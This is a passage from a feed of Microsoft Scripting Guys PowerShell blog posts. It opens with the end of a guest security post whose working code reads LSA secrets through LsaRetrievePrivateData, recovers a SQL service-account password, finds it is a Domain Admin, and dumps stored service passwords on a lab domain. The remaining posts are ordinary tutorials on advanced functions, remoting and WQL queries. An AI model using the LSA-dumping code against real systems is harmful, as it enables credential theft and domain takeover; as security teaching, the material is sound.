[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaNtStatusToWinError(

  uint status

);

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaClose(

  IntPtr policyHandle

);

 

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]

public static extern uint LsaFreeMemory(

  IntPtr buffer

);

"@

Next we pass the variable to Add-Type. We also set a Name and Namespace.

PS > Add-Type -MemberDefinition $signature -Name LSAUtil -Namespace LSAUtil

The code example found on the Pinvoke.net site describes the steps we take to read the secrets. Let’s convert it to Windows PowerShell code.

First, we set up the attributes. The attributes are used as input to LSAOpenPolicy.

$objectAttributes = New-Object LSAUtil.LSAUtil+LSA_OBJECT_ATTRIBUTES

$objectAttributes.Length = 0

$objectAttributes.RootDirectory = [IntPtr]::Zero

$objectAttributes.Attributes = 0

$objectAttributes.SecurityDescriptor = [IntPtr]::Zero

$objectAttributes.SecurityQualityOfService = [IntPtr]::Zero

Next, we set the localsystem variable, which is also used as input to LSAOpenPolicy.

$localsystem = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING

$localsystem.Buffer = [IntPtr]::Zero

$localsystem.Length = 0

$localsystem.MaximumLength = 0

We also need to add the secretName variable and use the key that we created earlier as input.

$myKey = "MySecret"

$secretName = New-Object LSAUtil.LSAUtil+LSA_UNICODE_STRING

$secretName.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($myKey)

$secretName.Length = [Uint16]($myKey.Length * [System.Text.UnicodeEncoding]::CharSize)

$secretName.MaximumLength = [Uint16](($myKey.Length + 1) * [System.Text.UnicodeEncoding]::CharSize)

With the attributes, localsystem and secretName in place, we can open LsaPolicyHandle.

$lsaPolicyHandle = [IntPtr]::Zero

[LSAUtil.LSAUtil+LSA_AccessPolicy]$access = [LSAUtil.LSAUtil+LSA_AccessPolicy]::POLICY_GET_PRIVATE_INFORMATION

$lsaOpenPolicyHandle = [LSAUtil.LSAUtil]::LSAOpenPolicy([ref]$localSystem, [ref]$objectAttributes, $access, [ref]$lsaPolicyHandle)

Next, we use the LsaRetrievePrivateData function to get the private data. We also close the policy handle.

$privateData = [IntPtr]::Zero

$ntsResult = [LSAUtil.LSAUtil]::LsaRetrievePrivateData($lsaPolicyHandle, [ref]$secretName, [ref]$privateData)

$lsaClose = [LSAUtil.LSAUtil]::LsaClose($lsaPolicyHandle)

Now we convert the output from LsaRetrievePrivateData to a managed object. And finally, we convert it to a Unicode string and store it in the variable $value.

[LSAUtil.LSAUtil+LSA_UNICODE_STRING]$lusSecretData =

[LSAUtil.LSAUtil+LSA_UNICODE_STRING][System.Runtime.InteropServices.marshal]::PtrToStructure($privateData, [LSAUtil.LSAUtil+LSA_UNICODE_STRING])

[string]$value = [System.Runtime.InteropServices.marshal]::PtrToStringAuto($lusSecretData.Buffer)

$value = $value.SubString(0, ($lusSecretData.Length / 2))

Almost done. The last part is cleaning up, so we remove the temporary key that we created by using the Remove-Item cmdlet.

PS > Remove-Item -Path "HKLM:\\SECURITY\Policy\Secrets\MySecret" -Recurse -Force

Let us see what happens if we type $value in Windows PowerShell.

PS > $value

P@ssw0rd

The output says: P@ssw0rd. Remember how we copied the keys from _SC_SQLSERVERAGENT to a temporary key in the beginning of this scenario? The value of the $value variable is, in fact, the password that is used by the account running the service. Let us see which account password we just found by using WMI.

PS > $service = Get-WmiObject -Query "SELECT StartName FROM Win32_Service WHERE Name = 'SQLSERVERAGENT'"

PS > $service.StartName

HACME\sql-serviceaccount

Finally, let’s take a look which domain groups the sql-serviceaccount is member of. Because I’m using a domain account that is a member of the local administrators group on the server, I can simply start a new instance of Windows PowerShell, import the ActiveDirectory module, and use the Get-ADUser cmdlet to display the information.

PS > Import-Module ActiveDirectory

PS > Get-ADUser -Identity sql-serviceaccount -Properties memberof |

Select memberof

memberof                                                                          

--------                                                                         

{CN=Domain Admins,CN=Users,DC=hacme,DC=local}   

Jackpot! The service account is a member of the domain admin group. At this point, it’s pretty much game over because we now own a domain admin account.

Let us go through these steps again using a Windows PowerShell function, Get-TSLSASecret, instead. The function includes the code described in this scenario.

PS > Enable-TSDuplicateToken

PS > Get-TSLsaSecret

 

Name                 Account              Secret               ComputerName      

----                 -------              ------               ------------      

$MACHINE.ACC                                        J;bzxR#... SP01              

DefaultPassword                                                SP01               DPAPI_SYSTEM                                                   SP01
L$ASP.NETAutoGenK...                                팮ﰰ侏  ... SP01              

NL$KM                                               Ϳ唷茒ᾎᾎ... SP01              

_SC_FIMSynchroniz... \                                         SP01              

_SC_MsDtsServer100   HACME\sql-serviceaccount       P@ssw0rd   SP01              

_SC_MSSQLSERVER      HACME\sql-serviceaccount       P@ssw0rd   SP01              

_SC_MSSQLServerOL... HACME\sql-serviceaccount       P@ssw0rd   SP01              

_SC_OSearch14        HACME\sp-admin                 P@ssw0rd   SP01              

_SC_ReportServer     HACME\sql-serviceaccount       P@ssw0rd   SP01              

_SC_SPTimerV4        HACME\sp-admin                 P@ssw0rd   SP01              

_SC_SPUserCodeV4     HACME\sp-admin                 P@ssw0rd   SP01              

_SC_SQLSERVERAGENT   HACME\sql-serviceaccount       P@ssw0rd   SP01              

_SC_WebAnalyticsS... HACME\sp-admin                 P@ssw0rd   SP01  

Downloads

  • The Get-TSLSA Secret function can be downloaded from the Script Center Repository.
  • Additional functions and code related to security are available on the TruSec website.

~Niklas

What a week of knowledge shared by Niklas! Thank you, Niklas, for writing five awesome blogs and for sharing your knowledge with the Windows PowerShell community.

Tomorrow we will have some goodies for you on Weekend Scripter. Come back then to see what’s in store.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 


Weekend Scripter: Cmdletbinding Attribute Simplifies PowerShell Functions

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, talks about using the cmdletbinding attribute to simplify Windows PowerShell functions.

Microsoft Scripting Guy, Ed Wilson, is here. This morning I was sitting around playing with Windows PowerShell, and I realized that I had not written much about the cmdletbinding attribute. So here goes…

The first step in creating an advanced function is to add the cmdletbinding attribute. This single addition adds several capabilities such as additional parameter checking, and the ability to easily use the Write-Verbose cmdlet.

To use the cmdletbinding attribute, you place the attribute in a square bracket attribute tag and include it in the first non-commented line in the function. In addition, the cmdletbinding attribute requires the use of param keyword. If your advanced function requires no parameters, you can use the keyword without specifying any parameters. This technique is shown here:

function my-function

{

 [cmdletbinding()]

 Param()

}

When you have the basic outline of the advanced function, you can begin to fill in the blanks. For example, to use the Write-Verbose cmdlet only requires adding the following command.

function my-function

{

 [cmdletbinding()]

 Param()

 Write-Verbose "verbose stream"

}

Easy verbose messages

When loaded, the function permits the use of the verbose switched parameter. Use of this parameter causes each Write-Verbose statement to write to the Windows PowerShell console output. When the function runs without the verbose switch, no output displays from the verbose stream.

The great thing about using Write-Verbose is that detailed information (such as the progress in making remote connections, loading modules, and other operations that could cause a script to fail) outputs as events happen. This provides a built-in diagnostic mode for the advanced function with virtually no additional programing.

Automatic parameter checks

The default behavior for a Windows PowerShell function is that additional values specified to an unnamed argument are available in the automatic $args variable. This behavior, although potentially useful, easily becomes a source of errors for a script. The following function illustrates this behavior.

function my-function

{

 #[cmdletbinding()]

 Param($a)

 $a

 #$args

}

When this function runs, any value supplied to the –a parameter appears in the output as shown here:

PS C:\Users\ed.IAMMRED> my-function -a 1,2,3,4

1

2

3

4

On the other hand, when you call the function, if you omit the first comma, no error generates, but the output displayed does not meet expectations. This is shown here:

PS C:\Users\ed.IAMMRED> my-function -a 1 2,3,4

1

The remaining parameters appear in the automatic $args variable. Placing the $args variable in the function illustrates this. First, add the $args automatic variable as shown here:

function my-function

{

 #[cmdletbinding()]

 Param($a)

 $a

 $args

}

Now, when calling the function, whilst omitting the first comma, the following output appears.

PS C:\Users\ed.IAMMRED> my-function -a 1 2,3,4

1

2

3

4

Although interesting, you may not want this behavior. One way to correct it is to check the number of arguments that are supplied to the function. You can do this by monitoring the count property of the $args variable as shown here:

function my-function

{

 #[cmdletbinding()]

 Param($a)

 $a

 $args.count

}

When passing multiple arguments to the function, the value of the count property increases. In the output that is shown here, the first number 1, returns from the –a position. The number 3 is the count of extra arguments (that is, those not supplied for the named argument).

PS C:\Users\ed.IAMMRED> my-function 1 2 3 4

1

3

By using this feature, and checking the count property of $args, one line of code prevents extra arguments coming to the function. This change is shown here:

function my-function

{

 #[cmdletbinding()]

 Param($a,$b)

 $a

 $b

 if($args.count -gt 0) {Write-Error "unhandled arguments supplied"}

}

When run, as shown in the following code, the first two parameters supplied are accepted for the –a and the –b parameters. The two remaining parameters go into the $args automatic variable. This increases the count property of $args to a value greater than 0, and therefore an error occurs.

PS C:\Users\ed.IAMMRED> my-function 1 2 3 4

1

2

my-function : unhandled arguments supplied

At line:1 char:12

+ my-function <<<<  1 2 3 4

    + CategoryInfo          : NotSpecified: (:) [Write-Error], WriteErrorException

    + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,my-

   function

The easiest way to identify unhandled parameters supplied to a Windows PowerShell function is to use the cmdletbinding attribute. One of the features of using the cmdletbinding attribute is that it generates an error when unhandled parameter values appear on the command line. The following function illustrates the cmdletbinding attribute.

function my-function

{

 [cmdletbinding()]

 Param($a,$b)

 $a

 $b

}

When calling the above function with too many arguments, the following error appears:

PS C:\Users\ed.IAMMRED> my-function 1 2 3 4

my-function : A positional parameter cannot be found that accepts argument '3'.

At line:1 char:12

+ my-function <<<<  1 2 3 4

    + CategoryInfo          : InvalidArgument: (:) [my-function], ParameterBindingE

   xception

    + FullyQualifiedErrorId : PositionalParameterNotFound,my-function

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Weekend Scripter: Easily Add Whatif Support to Your PowerShell Functions

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows how to easily add whatif support to your Windows PowerShell functions.

Microsoft Scripting Guy, Ed Wilson, is here. I love demoing Windows PowerShell to people who have never seen it—and believe it or not, there are still IT Pros who have not seen or used Windows PowerShell. Most people have heard of it by now (if they are in the business), but there is still a surprisingly large number of people who do not use Windows PowerShell. One of the features that generally gets ooohs and ahhhhs (and at times even applause) is the whatif parameter.

I generally tell people that they no longer have to run a command to see what it will do. Often I ask for a show of hands to see how many people have run a command and they did not know what it would do. Not surprisingly, the number of hands that goes up is large. Scarier, is when I ask who has run a command on a production system, and they were not certain what it would do. This is not a sign of carelessness, but rather a sign of desperation—the server is down, you go to TechNet, and it says to fix the problem, run this cryptic command. You do it and hope for the best. But what if there was a type-o on that page? With Windows PowerShell, this is no longer a concern because you can use whatif.

Adding support for the whatif parameter

One of the great features of Windows PowerShell is using the whatif parameter on cmdlets that change the system state, such as the Stop-Service or the Stop-Process cmdlets. In fact, by consistently utilizing the whatif switched parameter, it is possible to avoid many inadvertent system outages. As a Windows PowerShell best practice, you should also implement the whatif parameter in your advanced functions. In the past, this meant creating special parameters, and adding lots of extra code to handle the output. Now, it requires a single line of code.

Note    [cmdletbinding()] appears with empty parentheses because there are other things, such as SupportsShouldProcess, that can appear between the parentheses.

The following function illustrates setting SupportsShouldProcess to True inside the parentheses of the cmdletbinding attribute.

function my-function

{

 [cmdletbinding(SupportsShouldProcess=$True)]

 Param($path)

 md $path

}

Now when you call the function with the whatif switched parameter, a message appears in the output detailing the exact behavior the cmdlet takes when run without the whatif parameter. This is shown in the image that follows.

Image of command output

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Use PowerShell to Run WMI Commands on Remote Computers

$
0
0

Summary: Learn how to use Windows PowerShell to run WMI commands on remote computers without opening a lot of holes in your firewall.

Hey, Scripting Guy! Question Hey, Scripting Guy! I have a problem. We have a number of remote systems that I need to manage. We are running the Windows firewall on all systems, and our security team is reluctant to open up a bunch of remote ports. But it seems to me that usability and security should not be completely opposed to each other. How can I use WMI to manage my remote systems and still make our security people happy?

—CG

Hey, Scripting Guy! Answer Hello CG,

Microsoft Scripting Guy, Ed Wilson, is here. Things are in a constant state of confusion around here. Just when it seemed things were settling down from TechEd, I have to get ready to go to Seattle because I am speaking at TechReady 15. TechReady is an internal Microsoft conference that is just like TechEd. It is also nearly as large of an event with the exception that it is a true international event because we have Microsoft people from all over the world descend on Seattle for a week. It is a great event to speak at, and a great event to attend. I look forward to it each year because I get to see my friends from all over the world.

The Scripting Wife and I had a great lunch the other day with Microsoft PowerShell MVP, Jim Christopher (who heads up the Charlotte Windows PowerShell User Group) and Brian Wilhite (who assists in that endeavor). We were discussing the second PowerShell Saturday event. The first PowerShell Saturday, as you may know, was in Columbus, Ohio. It was extremely well received, and it sold out in 13 days. The second one will be in Charlotte, North Carolina on September 15, 2012. This one will probably be no exception. So stay tuned for the opening registration announcement. It is confirmed that I will be speaking there (the Scripting Wife put it on my calendar).

Using WMI for remote management in a firewall-constrained environment

CG, the best way to use WMI against a remote system, and to still run your Windows firewall, is to use Windows PowerShell remoting. With Windows PowerShell 2.0, you use WinRM. There are two ways of doing this. The first involves making a remote connection, opening a session, and then using the commands. When you are finished, you close the WinRM session. This is great for one-to-one types of operations. Following are the steps for this type of operation.

Just the Steps

To run a WMI command on a remote machine by using WinRM

  1. Store the credential that is returned from Get-Credential in a variable.
  2. Use the Enter-PSSession cmdlet to create a remote session.
  3. Supply the credential from Get-Credential.
  4. Type your WMI commands.
  5. Exit the PSSession by using EXIT.

The following commands illustrate these steps:

$cred = Get-Credential iammred\administrator

Enter-PSSession -ComputerName dc1 -Credential $cred

gwmi win32_operatingsystem

exit

The commands and the associated output appear in the image that follows. The image also illustrates that after you type the EXIT command from within the PS Session, the PS Session no longer exists. Exiting the PS Session automatically removes it.

Image of command output

Storing a remote session

Now, suppose you need to perform multiple operations on your remote system. To do this, create a new PS Session by using the New-PSSession cmdlet. Enter the PS Session by using the Enter-PSSession cmdlet. When you have finished your management tasks, you remove the PS Session by using the Remove-PSSession cmdlet.

Just the Steps

To create and use a remote PS Session

  1. Store the credential that is returned from Get-Credential in a variable.
  2. Store the PS Session that is returned from the New-PSSession cmdlet in a variable. Use the credential object that you created in Step 1.
  3. Enter a remote PS Session by using the Enter-PSSession cmdlet, and specify the session that you created in Step 2.
  4. Remove the PS Session by using the Remove-PSSession cmdlet.

The following commands illustrate the this process:

$cred = Get-Credential iammred\administrator

$dc1 = New-PSSession -ComputerName dc1 -Credential $cred

Enter-PSSession -Session $dc1

gwmi win32_bios

exit

Get-PSSession | Remove-PSSession

The image that follows illustrates performing each of the steps and the output associated with those commands. In addition, it illustrates re-entering the stored PS Session, exiting the session, and removing the PS Session.

Image of command output

Running a WMI command on multiple computers

One of the really powerful things to do is to create a new Windows PowerShell session that connects to multiple computers. To do this, follow these steps.

Just the Steps

To create and use a multicomputer PS Session

  1. Create and store a credential by using the Get-Credential cmdlet.
  2. Create a new PS session by using the New-PSSession cmdlet. Specify multiple computer names for the cn parameter and use the credential object that you created in Step 1.
  3. Store the returned PS Session object in a variable.
  4. Use the Invoke-Command cmdlet to run a command against all the computers that are specified in the stored PS Session.

The following commands illustrate using this procedure:

$cred = Get-Credential iammred\administrator

$dc = New-PSSession -ComputerName dc1,dc3 -Credential $cred

Invoke-Command -Session $dc -ScriptBlock {gwmi win32_bios}

Note   You cannot use the Enter-PSSession cmdlet to enter a PS Session that connects to more than one computer. You can, however, use the Invoke-Command cmdlet to run a command against multiple computers at once.

The image that follows illustrates creating a credential object and storing it in a variable. The command creates a PS Session object that connects to two computers: dc1 and dc3. A variable, $dc, stores the returned session object. Next, an error appears when attempting to use the Enter-PSSession cmdlet with the session pointing to two computers. This illustrates that you cannot have an interactive remote PS session with more than one computer at the same time. Finally, the correct method to run the WMI command on multiple computers is shown, which illustrates using the Invoke-Command cmdlet.

 Image of command output

CG, that is all there is to using WMI via a remote Windows PowerShell session. Join me tomorrow for more Windows PowerShell cool stuff.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Three Easy Ways to Use PowerShell and WQL to Get WMI Data

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, talks about using WMI Query Language and Windows PowerShell to get WMI data.

Hey, Scripting Guy! Question Hey, Scripting Guy! What is WQL? It sounds like SQL, but that does not always mean very much. I mean, General Electric and General Motors sound alike, but they do not have much in common. So back to my question, do you know what WQL is?

—WS

Hey, Scripting Guy! Answer Hello WS,

Microsoft Scripting Guy, Ed Wilson, is here. Things are all in a flutter here in Charlotte, North Carolina in the United States. Our weather has been abysmal. It has been hovering around 105 degrees Fahrenheit (40.5 degrees Celsius, according to my conversion module). With all this heat, we began dreaming of cool places, and so we booked a trip to Germany. Unfortunately, it will not be until November, but at least we will escape the heat and get a chance to see many of our Windows PowerShell friends who we have met over the years and those who we want to meet. We already have three dates lined up in some of our favorite cities. Tonight, the best we can do is go out for dinner and a movie with Brian (one of our Charlotte Windows PowerShell User Group friends).

WS, of course I know what WQL is—I wrote the book on WMI: Microsoft Windows Scripting with WMI: Self-Paced Learning Guide. I am also contributing a chapter to a new book about Windows PowerShell and SQL Server 2012 written by Laerte Junior, Bob Beachumin, and Mark Broadbent.

WMI Query Language

Here is one of those “bad news” things. WQL is WMI Query Language. WMI stands for Windows Management Instrumentation. So one would think that WQL really is Windows Management Instrumentation Query Language; but it probably is not. There is documentation on MSDN, for example, WQL (SQL for WMI), but it is more or less COM based, and while it is comprehensive, it is more extensive than a typical Net Admin or IT Pro would need to do. The basic WQL statements that you need to know are Select, From, and Where.

Using the Select statement

A typical WMI query begins by using the Select statement to choose everything or only a few properties from a WMI class. To choose all properties from a WMI class, you use the asterisk (“*”). After you have selected the properties (one or more properties, or all of them), you use the From keyword to list which WMI class to query. The following script creates a WQL query that chooses all properties from the Win32_Bios WMI class:

$query = "Select * from Win32_Bios"

To choose a single property from the WMI class, you place the property name after the Select keyword and before the From keyword. In the following query, only the name of the BIOS is selected from the Win32_Bios WMI class.

$queryName = "Select Name from Win32_Bios"

If you want to select more than one property, you separate the property names by commas. Therefore, the following WMI query chooses the name and the version from the Win32_Bios WMI class.

$queryNameVersion = "Select name, version from WIn32_Bios"

Using the WQL query

So how do you use the WQL query to retrieve information from a system? In Windows PowerShell 2.0, there are two main ways to do this. The first is to use the Get-WmiObject cmdlet, and the second is to use the [wmisearcher] type accelerator. The [wmisearcher] type accelerator creates a ManagementObjectSearcher class. The ManagementObjectSearcher class is documented on MSDN, but the thing you really need to know how to use is the Get method. This will be discussed later in this section. In Windows PowerShell 3.0, the CIM cmdlets also accept a WQL query. I will talk about using the CIM cmdlets at a later date.

Query by using the Get-WmiObject cmdlet

The first way is to use the WQL query with the Get-WmiObject cmdlet. To do this, you use the Query parameter. The command is shown here:

PS C:\> $query = "Select * from Win32_Bios"

PS C:\> Get-WmiObject -Query $query

SMBIOSBIOSVersion : 8BET56WW (1.36 )

Manufacturer      : LENOVO

Name              : Default System BIOS

SerialNumber      : R9FPY3P

Version           : LENOVO – 1360

Let’s use our other queries to see how they fare. First, select only the name of the bios as shown here.

PS C:\> $queryName = "Select Name from Win32_Bios"

PS C:\> Get-WmiObject -Query $queryName

 

__GENUS          : 2

__CLASS          : Win32_BIOS

__SUPERCLASS     :

__DYNASTY        :

__RELPATH        :

__PROPERTY_COUNT : 1

__DERIVATION     : {}

__SERVER         :

__NAMESPACE      :

__PATH           :

Name             : Default System BIOS

Now, let’s choose the name and version query and use it.

PS C:\> $queryNameVersion = "Select name, version from WIn32_Bios"

PS C:\> Get-WmiObject -Query $queryNameVersion

 

__GENUS          : 2

__CLASS          : Win32_BIOS

__SUPERCLASS     :

__DYNASTY        :

__RELPATH        :

__PROPERTY_COUNT : 2

__DERIVATION     : {}

__SERVER         :

__NAMESPACE      :

__PATH           :

Name             : Default System BIOS

Version          : LENOVO - 1360

Query by using the [wmisearcher] type accelerator

By using the [wmisearcher], you gain easy access to the ManagementObjectSearcher .NET Framework class. This provides you not only with the ability to query WMI for information, but also to configure the way that query is conducted. There are three basic steps to using the [wmisearcher] type accelerator.

Just the steps...

To use the [wmisearcher] type accelerator

  1. Put the WQL query in a variable.
  2. Use the [wmisearcher] to cast the WQL string into a ManagementObjectSearcher object.
  3. Call the Get method from the ManagementObjectSearcher object.

This may sound more complicated than it is. In fact, it is very simple. Here is an example of using WQL to return all of the properties from the Win32_Bios class.

Note   Not all of the properties display due to the format*XML file that specifies which properties to return.

PS C:\> $query = "Select * from Win32_Bios"

PS C:\> $bios = [wmisearcher]$query

PS C:\> $bios.Get()

 

SMBIOSBIOSVersion : 8BET56WW (1.36 )

Manufacturer      : LENOVO

Name              : Default System BIOS

SerialNumber      : R9FPY3P

Version           : LENOVO – 1360

In the same way that WQL reduces the properties selected for use with the Get-WmiObject cmdlet, the same methodology can be used with the [wmisearcher] type accelerator. In the example shown here, only the Name property returns from the query.

PS C:\> $queryName = "Select Name from Win32_Bios"

PS C:\> $biosname = [wmisearcher]$queryName

PS C:\> $biosname.Get()

 

__GENUS          : 2

__CLASS          : Win32_BIOS

__SUPERCLASS     :

__DYNASTY        :

__RELPATH        :

__PROPERTY_COUNT : 1

__DERIVATION     : {}

__SERVER         :

__NAMESPACE      :

__PATH           :

Name             : Default System BIOS

But, rather than storing the string in a variable, then casting the string into a ManagementObjectSearcher type, and then calling the Get method, you can skip one of the steps and still have decent readability. This works because in the previous example, the WQL string was stored in a variable. The variable was then cast into the ManagementObjectSearcher type, and then the method was called. The code shown here skips one of the steps and casts the string directly to the object, and then stores the resulting object in the variable.

PS C:\> $biosname = [wmisearcher]"Select name from win32_bios"

PS C:\> $biosname.Get()

 

__GENUS          : 2

__CLASS          : Win32_BIOS

__SUPERCLASS     :

__DYNASTY        :

__RELPATH        :

__PROPERTY_COUNT : 1

__DERIVATION     : {}

__SERVER         :

__NAMESPACE      :

__PATH           :

Name             : Default System BIOS

A more interesting way of doing this (and perhaps a bit more readable) is to leave the WQL string on the right side of the equality operator, and perform the cast to ManagementObjectSearcher on the variable. This code is even cleaner, and it allows for easier modification of the WQL query.

PS C:\> [wmisearcher]$biosname = "Select name from win32_bios"

PS C:\> $biosname.Get()

 

__GENUS          : 2

__CLASS          : Win32_BIOS

__SUPERCLASS     :

__DYNASTY        :

__RELPATH        :

__PROPERTY_COUNT : 1

__DERIVATION     : {}

__SERVER         :

__NAMESPACE      :

__PATH           :

Name             : Default System BIOS

We can even perform this query in a single line. This works because the [wmisearcher] casts the WQL string to a ManagementObjectSearcher. From that object the Get method is available. By using the parentheses () to group the cast to the ManagementObjectSearcher first, the Get method becomes available.

PS C:\> ([wmisearcher]"Select name from win32_bios").get()

 

__GENUS          : 2

__CLASS          : Win32_BIOS

__SUPERCLASS     :

__DYNASTY        :

__RELPATH        :

__PROPERTY_COUNT : 1

__DERIVATION     : {}

__SERVER         :

__NAMESPACE      :

__PATH           :

Name             : Default System BIOS

Using the query directly

Of course, you do not have to store your query in a variable. You can type the query directly into the Query position in your command. Although this may have advantages in simplicity (you have one command instead of two), it also makes your code more difficult to read. This approach is shown here:

PS C:\> Get-WmiObject -Query "Select * from win32_bios"

 

SMBIOSBIOSVersion : 8BET56WW (1.36 )

Manufacturer      : LENOVO

Name              : Default System BIOS

SerialNumber      : R9FPY3P

Version           : LENOVO - 1360

WS, that is all there is to using WQL. WMI Week will continue tomorrow when I will talk about limiting information that is returned by the WQL query. I will also talk about all those extra ­­system properties that were returned by WMI when we attempted to limit the properties.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Use PowerShell and Avoid Three Gotcha's with WQL Where Clauses

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows you how to avoid three potential issues when using WQL data queries with Windows PowerShell.

Hey, Scripting Guy! Question Hey, Scripting Guy! Yesterday you said there were three basic WQL keywords: Select, From, and Where. You talked about Select and From. I guess you are going to talk about Where today? Am I right?

—BJ

Hey, Scripting Guy! Answer Hello BJ,

Microsoft Scripting Guy, Ed Wilson, is here. The good news is that it is not nearly as hot today as it was yesterday. The bad news is that the humidity is hovering around 80 percent, and that makes it 87 degrees Fahrenheit (30.5 degrees Celsius according to my conversion module). Last night, the Scripting Wife, Brian from the Charlotte PowerShell User Group, and I went out to celebrate me turning in the last  chapter of my Windows PowerShell 3.0 Step By Book that will be published by Microsoft Press (preorder from Amazon is available now). Brian volunteered to do a peer review for my next book. Pretty exciting stuff.

Yes, BJ, today we need to talk about the WQL Where statement.

Note   This is the second blog in a series about using the WMI Query language. You should definitely read the first blog in the series before continuing today. Yesterday, I talked about Three Easy Ways to Use PowerShell and WQL to Get WMI Data.

Using the basic WQL Where statement

Typing the Where statement in a WQL query is easy; it is what comes after it that can be a bit of a bother. There are three main gotcha’s when it comes to working with the WQL Where statement. These problem areas are listed here.

  1. You need to know the format of the value to use in creating the filter.
  2. You need to know the exact property name that you want to use.
  3. You need to know the correct operator to use.

With these three concerns, you can surmise that there are three parts in the basic Where statement (four parts if you add in the Where keyword). These parts are shown here.

Where

Property name

Operator

Value

Where

Name

=

“notepad”

Gotcha #1: What does that value look like?

The following code provides an example of using the above Where clause in an actual WQL query:

PS C:\> $name = "Select * from win32_Process where name = 'notepad'"

PS C:\> Get-WmiObject -Query $name

Interestingly enough, this code also illustrates Gotcha #3: You need to know the format of the value to use in creating the filter. For example, when the previous command runs, no data returns. Because the first command starts an instance of Notepad, the query should return data. But it does not.

Note   When working with WMI, and especially with WQL, do not forget that you are also using Windows PowerShell. Often if a WQL query does not work as expected, the results are more easily obtainable via “standard” Windows PowerShell techniques. Unless you are returning massive amounts of data from across bandwidth-constrained remote systems, it is rarely cost effective, in terms of productivity, to waste hours of your time trying to perfect a complicated and convoluted WQL query when there is a perfectly acceptable “pure Windows PowerShell” alternative.

As a quick check, I retrieve all instances of the entire Win32_Process object, and then I use the Select-Object cmdlet to choose only the name of the process. Then I use Where-Object to find processes with a name that contains the letters “notepad” in the process name. The code is shown here:

notepad

$name = "Select * from win32_Process where name = 'notepad'"

gwmi -Query $name

gwmi win32_process | select name | where { $_.name -match 'notepad'}

The code and resulting output are shown in the image that follows.

Image of command output

Ah ha! The values that WMI expect for the name property include the file extension. When the query changes to include the .exe extension in the file name, the query works as expected. The revised code is shown here:

$name = "Select * from win32_Process where name = 'notepad.exe'"

gwmi -Query $name

The query and the associated results are shown in the image that follows.

Image of command output

Gotcha #2: What’s the property name I need?

One problem with using the Where statement to filter the number of returned instances, is that you need to know the property name. In addition to just getting a valid property name, you need to get the property name to return the sort of data that you want. For example, the following query does not return any instances:

PS C:\> $service = "Select name from win32_service where status = 'running'"

PS C:\> get-wmiobject -Query $service

PS C:\>

It is possible to use the Get-Member cmdlet to view the properties of interest. An example of this technique is shown here:

PS C:\> Get-WmiObject win32_service | Get-Member -MemberType property s*

   TypeName: System.Management.ManagementObject#root\cimv2\Win32_Service

Name                    MemberType Definition

----                    ---------- ----------

ServiceSpecificExitCode Property   System.UInt32 ServiceSpecificExitCode {get;set;}

ServiceType             Property   System.String ServiceType {get;set;}

Started                 Property   System.Boolean Started {get;set;}

StartMode               Property   System.String StartMode {get;set;}

StartName               Property   System.String StartName {get;set;}

State                   Property   System.String State {get;set;}

Status                  Property   System.String Status {get;set;}

SystemCreationClassName Property   System.String SystemCreationClassName {get;set;}

SystemName              Property   System.String SystemName {get;set;}

The problem is distinguishing the difference between State and Status. Although it is true that looking up the WMI class on MSDN will provide the answer, it is also true that Windows PowerShell can often provide answers faster and easier than opening a browser, navigating to MSDN, looking up the WMI class, finding the article, and reviewing the documentation. Sometimes answers are as easy as piping the results of a WMI query to the Format-List cmdlet as shown here:

Get-WmiObject win32_service | Format-List *

The output from the command is shown here:

Image of command output

So, the problem with the previous query was choosing the wrong property. To find out if a service is running or not, use the State property, not the Status property. This is an easy mistake to make, which is alleviated when a sampling of the properties and their associated values is made. Here is the revised query:

$service = "Select name from win32_service where state = 'running'"

get-wmiobject -Query $service

Gotcha #3: What does the operator look like?

This might not be a gotcha if it were not for the fact that Windows PowerShell uses distinct operators. In fact, the WQL operators appear to be much more “standard” than those used by Windows PowerShell. The issue, of course, is that when using Windows PowerShell to do WMI, using WQL mixed operators often enter the equation. Here is a table of WQL comparison operators:

Operator

Meaning

=

Equal

<> 

Not equal

Less than

Greater than

<=

Less than or equal

>=

Greater than or equal

!=

Not equal

There are other operators, but these are used for making comparisons. The following query selects the name and the priority from processes (Win32_Process) where the priority of the process is greater than or equal to 11. The Get-WmiObject cmdlet runs the query. The code is shown here:

$highPriority = "Select name, priority from Win32_Process where priority >= 11"

Get-WmiObject -Query $highPriority

The query and the output associated with the query are shown in the following image.

Image of command output

BJ, that is all there is to avoiding three main gotcha’s when using the Where clause in WQL. WQL Week will continue tomorrow when I will talk more about using the Where clause.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Learn How to Use the WQL Comparison Operators with PowerShell

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows how to use the WQL comparison operators with Windows PowerShell in a WQL query and in a filter.

